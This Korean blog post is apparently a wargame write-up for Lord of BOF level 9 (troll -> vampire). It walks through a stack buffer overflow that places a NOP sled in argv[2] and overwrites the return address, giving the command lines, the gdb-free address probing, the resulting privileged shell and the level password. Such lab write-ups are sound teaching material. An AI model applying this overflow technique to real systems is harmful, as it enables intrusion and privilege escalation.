[LOB] level9, troll -> vampire 풀이
- 시스템해킹/LordOfBof
- 2020. 4. 6. 01:23
LOB, troll -> vampire 문제확인
환경변수나 버퍼 초기화 부분이 사라진 대신에 argv[1]에 대한 조건이 추가되었다. 47번째 바이트가 \xff 이면 안되는 조건인데 여태까지 리턴 주소에 bfffXXXX 주소 영역대를 덮었었는데 이 영역대를 쓰지 못하게 되었다. 대신 argv[2]을 쓰지 못하게 argc == 2 조건이 있었던 이전 문제와 다르게 argv[2]를 쓸 수 있게 되었기 때문에 이번 문제는 argv[2]에 쉘코드를 올리는 방식으로 진행하려 한다.
LOB, troll -> vampire 풀이
먼저 gdb로 계속 주소값을 확인하는게 번거로워서 argv[2] 주소를 출력하게끔 재컴파일을 진행했다.
그리고 argv[2]에 B값을 1000, 10000, 100000 까지 넣어보면서 argv[2] 주소를 확인했는데 100000개 정도에서 주소 영역이 0xbffe 영역대임이 확인되었다.
[troll@localhost troll]$ /tmp/vampire `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*1000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
0xbffff875
Segmentation fault (core dumped)
[troll@localhost troll]$
[troll@localhost troll]$ /tmp/vampire `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*10000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
0xbfffd54d
Segmentation fault (core dumped)
[troll@localhost troll]$ /tmp/vampire `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
0xbffe75bd
Segmentation fault (core dumped)
LOB, troll -> vampire 익스플로잇
따라서 위에서 확인한 0xbffe75bd를 리턴주소에 덮고 argv[2]에는 B 대신 nop을 100000개를 준 후 뒤에 쉘코드를 주었다.
[troll@localhost troll]$ ./vampire `python -c 'print "A"*44+"\xbd\x75\xfe\xbf"'` `python -c 'print "\x90"*100000+"\x90"*5000+"[shellocde]"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA½uþ¿
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world
'시스템해킹 > LordOfBof' 카테고리의 다른 글
[LOB] level11, skeleton -> golem 풀이 (0) | 2020.04.06 |
---|---|
[LOB] level10, vampire -> skleton 풀이 (0) | 2020.04.06 |
[LOB] level8, orge-> troll풀이 (0) | 2020.04.05 |
[LOB] level7, darkelf -> orge 풀이 (0) | 2020.04.05 |
[LOB] level6, wolfman -> darkelf 풀이 (0) | 2020.04.04 |